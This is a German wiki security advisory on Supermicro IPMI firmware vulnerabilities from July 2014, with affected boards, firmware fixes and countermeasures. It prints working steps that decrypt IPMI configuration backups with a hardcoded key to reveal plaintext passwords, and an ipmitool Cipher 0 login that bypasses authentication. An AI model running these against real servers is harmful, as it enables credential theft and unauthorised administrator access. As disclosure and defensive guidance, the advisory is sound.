Supermicro IPMI Sicherheitsupdates Juli 2014

Aus Thomas-Krenn-Wiki
Zur Navigation springen Zur Suche springen
Hinweis: Alle aktuellen Informationen zu verfügbaren Sicherheitsupdates finden Sie im Wiki Artikel IPMI Sicherheitsupdates.

Supermicro Mainboards mit IPMI Funktionalität sind beim Einsatz von älteren IPMI Firmware Versionen von mehreren Sicherheitslücken betroffen.

Thomas Krenn empfiehlt wie für Administrationszugänge üblich IPMI nur geschützt durch Firewall/VPN und nicht offen im Internet zu betreiben und die hier empfohlenen IPMI Firmware Versionen einzuspielen.

Allgemeiner Sicherheitshinweis

Wir empfehlen administrative Zugänge wie IPMI- aber auch etwa SSH-Dienste nicht offen im Internet zu betreiben, sondern mittels Firewall/VPN den Zugriff auf solche Dienste ausschließlich berechtigten Personen zu ermöglichen. Diese Empfehlung gilt unabhängig von den hier beschriebenen Sicherheitslücken.[1]

Zusätzlich zum Schutz durch eine dedizierte Firewall bieten Supermicro X7/X8/H8/X9/X10 Mainboards mit ATEN-basierter IPMI Firmware bei neueren Firmware Versionen eine integrierte Firewall für die Fernwartungsfunktion (siehe dazu Integrierte IPMI Firewall von Supermicro Mainboards nutzen).

Betroffene Mainboards und empfohlene Firmware Versionen

Die Tabelle zeigt die von den Sicherheitslücken betroffenen Mainboards sowie die von uns empfohlenen IPMI Firmware Versionen:

IPMI-Firmware für Betroffene Mainboards aus dem Thomas Krenn Portfolio Empfohlene Firmware Version Plaintext Login Daten in save_config.bin NTP Amplification Unsafe String Functions[2] Plaintext Login-Daten über UDP Port 49152 auslesbar[3] IPMI Authentication Bypass via Cipher 0[4]
X10-Mainboards
(ASPEED-ATEN)
1.42 oder höher
(SMT_X10_142.bin)
vor 1.42[t 1] vor 1.30[5] vor 1.24 nicht betroffen[t 2] nicht betroffen[t 2]
X9-Mainboards
(Nuvoton-ATEN)
3.28 oder höher
(SMT_X9_328.bin)
vor 3.28 vor 3.20[6][7] vor 3.17/3.15 vor 3.15[t 3] vor 1.58
X7/X8/H8-Mainboards
(Nuvoton-ATEN)
3.15 oder höher
(SMT_315.bin)
vor 3.15[t 4] vor 3.13[8] vor 3.12 vor 3.10[t 5] vor 2.50
X9-Mainboards
(Renesas)
2.16 oder höher
(SMM_X9_2.16.0.ima)
nicht betroffen nicht betroffen nicht betroffen nicht betroffen vor 2.16
X8-Mainboards
(Nuvoton-AMI)
2.20 oder höher
(X8..._220.ima - jeweiliges Image abhängig vom Mainboard)
nicht betroffen[t 6] nicht betroffen[t 7] nicht betroffen nicht betroffen[t 7] vor 2.20
X7/H8-Mainboards
(AOC-SIM1U+/AOC-SIMSO+)
  • Single CPU: X7SBI, X7SBE, H8SMI-2
  • Dual CPU: X7DBE, X7DBR-3, X7DVL-E, H8DME-2
1.66 oder höher nicht betroffen nicht betroffen nicht betroffen nicht betroffen vor 1.66

Testnotizen:

  1. In unseren Tests war die Firmware Version 1.26 betroffen, Version 1.42 nicht mehr.
  2. 2,0 2,1 Getestet mit Firmware Versionen 1.26 und 1.42.
  3. In unseren Tests konnte die Sicherheitslücke mit Firmware Version 3.15 nicht mehr ausgenützt werden.
  4. In unseren Tests waren die Firmware Versionen 2.66 (getestet mit X7SPE-HF), 3.10 und 3.14 (beide getestet mit H8SCM-F) betroffen, Version 3.15 nicht mehr.
  5. In unseren Tests war die Firmware Version 2.66 betroffen (getestet mit X7SPE-HF), Firmware 3.10 jedoch nicht mehr (getestet mit H8SCM-F).
  6. Diese Firmware enthält keine Save-Config Funktion.
  7. 7,0 7,1 Getestet mit Firmware Version 2.08 (X8DT3_208.ima).

IPMI Firmware Update durchführen

Die jeweiligen Firmware Images finden Sie bei den Downloads zu Ihrem Thomas Krenn Server.

Anleitungen zum Durchführen von IPMI Firmware Updates finden Sie in den folgenden Artikeln:

Hinweis: Wenn Sie beim Update der IPMI Firmware die IPMI Konfiguration beibehalten (aktivierte Checkbox Preserve Configuration - (Unckecking this option will restore the factory default setting of BMC)), müssen Sie die NTP Konfiguration im Webinterface anschließend erneut speichern um die NTP Sicherheitslücke zu schließen.

Wenn Sie die IPMI Konfiguration nicht beibehalten, werden alle Konfigurationsparameter auf Factory Default zurückgesetzt. Die IP-Adresse sowie alle Einstellungen müssen dann neu konfiguriert werden, z.B. mittels ipmicfg, BIOS oder andere Tools - siehe IPMI Konfiguration für Supermicro Systeme (Ausnahme: beim X10SLH-F bleibt bei einem Firmware Update auf 1.42 die IP Konfiguration erhalten).

Informationen zu den Sicherheitslücken

In den folgenden Absätzen finden Sie Detailinformationen zu den Sicherheitslücken.

Plaintext Login Daten in save_config.bin

Aus IPMI Konfigurationssicherungen (save_config.bin) lassen sich IPMI Login Daten im Klartext extrahieren. IPMI Konfigurationssicherungen sind zwar verschlüsselt, der geheime Schlüssel kann aber einer IPMI Firmwaredatei ausgelesen werden.[9]

Mit folgenden Ablauf ist es möglich an die Login-Daten zu gelangen:

~/tmp/ipmi$ binwalk SMT_X9_315.bin
~/tmp/ipmi$ dd if=SMT_X9_315.bin bs=1 skip=1572864 count=8372224 of=cramfs1
~/tmp/ipmi$ dd if=SMT_X9_315.bin bs=1 skip=12058624 count=1945600 of=cramfs2
~/tmp/ipmi$ sudo mount -o loop -t cramfs cramfs1 mnt1
~/tmp/ipmi$ strings mnt1/bin/ipmi_conf_backup_tool | grep -A 1 -B 1 -m 1 openssl
CKSAM1SUCKSAM1SUASMUCIKSASMUCIKS
~/tmp/ipmi$ openssl aes-256-cbc -d -in save_config.bin -out backup.bin.dec -k CKSAM1SUCKSAM1SUASMUCIKSASMUCIKS -md md5
~/tmp/ipmi$ dd skip=6 bs=1 status=none if=backup.bin.dec of=backup.tar.gz
~/tmp/ipmi$ tar xzf backup.tar.gz
~/tmp/ipmi$ ack-grep -i passwd preserve_config
    preserve_config/ps.xml
    5:      <User num="0" enable="01" PasswdSize="00" Name="" Passwd="admin"
    ChannelAccess="00000000000000000000000000000000" PrivilegeChange="00">
    9:      <User num="1" enable="01" PasswdSize="00" Name="ADMIN" Passwd="**********"
    ChannelAccess="00540054000000000000000000000000" PrivilegeChange="00">

Auswirkungen

Ein Angreifer kann mit Zugriff auf eine Konfigurationssicherung die Login-Daten auslesen und dadurch direkt an Benutzername und Passwort gelangen. Die eigentliche Verschlüsselung der Konfigurations-Datei ist somit kein wirksamer Schutz.

Gegenmaßnahmen

Mögliche Gegenmaßnahmen:

  1. Firmware Update auf die oben empfohlene Firmware Version.
  2. Sichere Verwahrung von Konfigurationssicherungen. Konfigurationssicherungen können nur von IPMI Benutzern mit Admin-Rechten erstellt werden. Werden diese Konfigurationssicherungen nicht weitergegeben, können die Login-Daten nicht ausgelesen werden.

NTP Amplification

NTP-Server mit monlist Unterstützung können dazu gebracht werden, auf einzelne Anfragen (Requests) eine hohe Anzahl an Antworten (Responses) auszusenden.[10] Die monlist Funktion des NTP-Servers liefert dabei eine Liste von bis zu 600 Einträgen von IP-Adressen, mit denen der NTP-Server interagiert hat. Diese Datenmenge kann durch IP-Spoofing[11] an ein Ziel-Opfer geleitet werden.[12] Damit können solche sogenannten NTP Amplification Attacken zu einem Denial of Server (Dos) Angriff missbraucht werden.

Mit dem ntpdc Kommando können Sie von einem Linux Administrationsrechner aus überprüfen, ob ein bestimmter Server (in diesem Beispiel 192.0.2.1) die monlist Funktion unterstützt:

$ ntpdc -n -c monlist 192.0.2.1
remote address          port local address      count m ver rstr avgint  lstint
===============================================================================
192.0.2.2              40506 192.0.2.5          1 7 2      0      0      0

Bei deaktiviertem monlist erscheint folgende Ausgabe:

$ ntpdc -n -c monlist 192.0.2.1
***Server reports data not found

Bei deaktiviertem NTP erscheint folgende Ausgabe:

$ ntpdc -n -c monlist 192.0.2.1
ntpdc: read: Connection refused

Auswirkungen

Ein Angreifer kann durch gefälschte Anfragen an einen NTP-Server mit aktivierter monlist Funktion, eine DoS-Attacke auf einen dritten Host durchführen.

Gegenmaßnahmen

Mögliche Gegenmaßnahmen:

  1. Firmware Update auf die oben empfohlene Firmware Version. Wenn beim Firmware Upgrade die IPMI Konfiguration beibehalten wurde, anschließend die NTP Konfiguration (im Webinterface unter Configuration -> Date & Time) erneut speichern (damit wird monlist deaktiviert).
  2. Deaktivieren von NTP (im Webinterface unter Configuration -> Date & Time die Option NTP Disable auswählen und speichern).

Unsafe String Functions

Mehrere CGI-Scripte können durch die Verwendungen von unsicherer String-Funktionen für Buffer-Overflow-Angriffe genutzt werden.

Auswirkungen

Bei erfolgreichem Ausnützen können Befehle mit root-Rechten am IPMI BMC ausgeführt werden.[13][14]

Gegenmaßnahmen

Mögliche Gegenmaßnahmen:

  1. Firmware Update auf die oben empfohlene Firmware Version.

Plaintext Login-Daten über UDP Port 49152 auslesbar

Ältere IPMI Firmwareversionen erlauben das Auslesen von IPMI Login-Daten über UDP Port 49152.[15][16]

Auswirkungen

Ein Angreifer mit Netzwerk-Zugriff auf UDP Port 49152 der IPMI-IP-Adresse erlangt durch das Senden einer GET /PSBlock Anfrage Benutzer und Passwort des IPMI-Zugangs.

Gegenmaßnahmen

Mögliche Gegenmaßnahmen:

  1. Firmware Update auf die oben empfohlene Firmware Version.

IPMI Authentication Bypass via Cipher 0

Ein schwerwiegender Fehler in der IPMI 2.0 Spezifikation (Cipher Type 0) erlaubt eine Authentifizierung mit beliebigem Passwort.[17]

Ob Cipher 0 auf einem IPMI-Interface verfügbar ist, zeigt das folgende Kommando:

$ ipmitool -H 192.0.2.1 -U ADMIN -P ***** lan print|grep 'Cipher Suites'
RMCP+ Cipher Suites     : 1,2,3,6,7,8,11,12,0

Erscheint bei den RMCP+ Suites eine 0 in der Ausgabe, kann Cipher 0 verwendet werden. Die Authentifizierung wird dadurch umgangen - ein beliebiges Passwort genügt:

$ ipmitool -I lanplus -C 0 -H 192.0.2.1 -U ADMIN -P FluffyWabbit user list
ID  Name	     Callin  Link Auth	IPMI Msg   Channel Priv Limit
2   ADMIN            false   false      true       ADMINISTRATOR
3   monitor          true    true       true       USER
[...]

Auswirkungen

Angreifer können sich bei Cipher 0 Unterstützung mit einem beliebigen Passwort als IPMI Administrator authentifizieren.

Gegenmaßnahmen

Mögliche Gegenmaßnahmen:

  1. Firmware Update auf die oben empfohlene Firmware Version.

Einzelnachweise

  1. Best Practices for managing servers with IPMI features enabled in Datacenters (www.supermicro.com)
  2. Firmware Fixes to Common Vulnerabilities and Exposures (www.supermicro.com)
  3. Supermicro motherboards with clear text passwords are found. What are the recommended F/W patches? (Supermicro FAQ 18897, 24.06.2014)
  4. I read an article where Supermicro BMC (IPMI) security can be breached through UPnP and through Cipher 0 mechanisms. How do I avoid such issues? (Supermicro FAQ 16536, 08.07.2013)
  5. We have received complaints of our SM IPMI cards being used for NTP DOS attacks. (Supermicro FAQ 17997, 03.02.2014)
  6. I have one of the Supermicro X9 motherboards. IPMI BMCs that have NTP enabled are being abused for NTP amplification DDoS attacks. Is there a fix for this? (Supermicro FAQ 17843, 14.01.2014)
  7. According to recent NTP Amplification Attacks, I found that firmware of motherboards X9SCA-F is vulnerable. (Supermicro FAQ 17908, 14.01.2014)
  8. I was alerted to the fact that the IP assigned to the IPMI of the X7SPE-HF-D525 was vulnerable. (Supermicro FAQ 18000, 03.02.2014)
  9. Securing SuperMicro’s IPMI with OpenVPN (michael.stapelberg.de)
  10. Technical Details Behind a 400Gbps NTP Amplification DDoS Attack (blog.cloudflare.com)
  11. IP-Spoofing (de.wikipedia.org)
  12. NTP Amplification Attacks Using CVE-2013-5211 (us-cert.gov)
  13. Supermicro IPMI Firmware Vulnerabilities (community.rapid7.com)
  14. Exploiting the Supermicro Onboard IPMI Controller (community.rapid7.com)
  15. CARISIRT: Yet Another BMC Vulnerability (And some added extras) (blog.cari.net, 19.06.2014)
  16. Supermicro Motherboards IPMI Interface Discloses Passwords to Remote Users (securitytracker.com Alert ID 1030453, 20.06.2014)
  17. The Infamous Cipher 0 (fish2.com)


Foto Georg Schönberger.jpg

Autor: Georg Schönberger

Georg Schönberger, Abteilung DevOps bei der XORTEX eBusiness GmbH, absolvierte an der FH OÖ am Campus Hagenberg sein Studium zum Bachelor Computer- und Mediensicherheit, Studium Master Sichere Informationssysteme. Seit 2015 ist Georg bei XORTEX beschäftigt und arbeitet sehr lösungsorientiert und hat keine Angst vor schwierigen Aufgaben. Zu seinen Hobbys zählt neben Linux auch Tennis, Klettern und Reisen.


Foto Werner Fischer.jpg

Autor: Werner Fischer

Werner Fischer arbeitet im Product Management Team von Thomas-Krenn. Er evaluiert dabei neueste Technologien und teilt sein Wissen in Fachartikeln, bei Konferenzen und im Thomas-Krenn Wiki. Bereits 2005 - ein Jahr nach seinem Abschluss des Studiums zu Computer- und Mediensicherheit an der FH Hagenberg - heuerte er beim bayerischen Server-Hersteller an. Als Öffi-Fan nutzt er gerne Bus & Bahn und genießt seinen morgendlichen Spaziergang ins Büro.


Das könnte Sie auch interessieren

Redfish
Supermicro IPMIView
USBAnywhere Supermicro IPMI Virtual Media Schwachstelle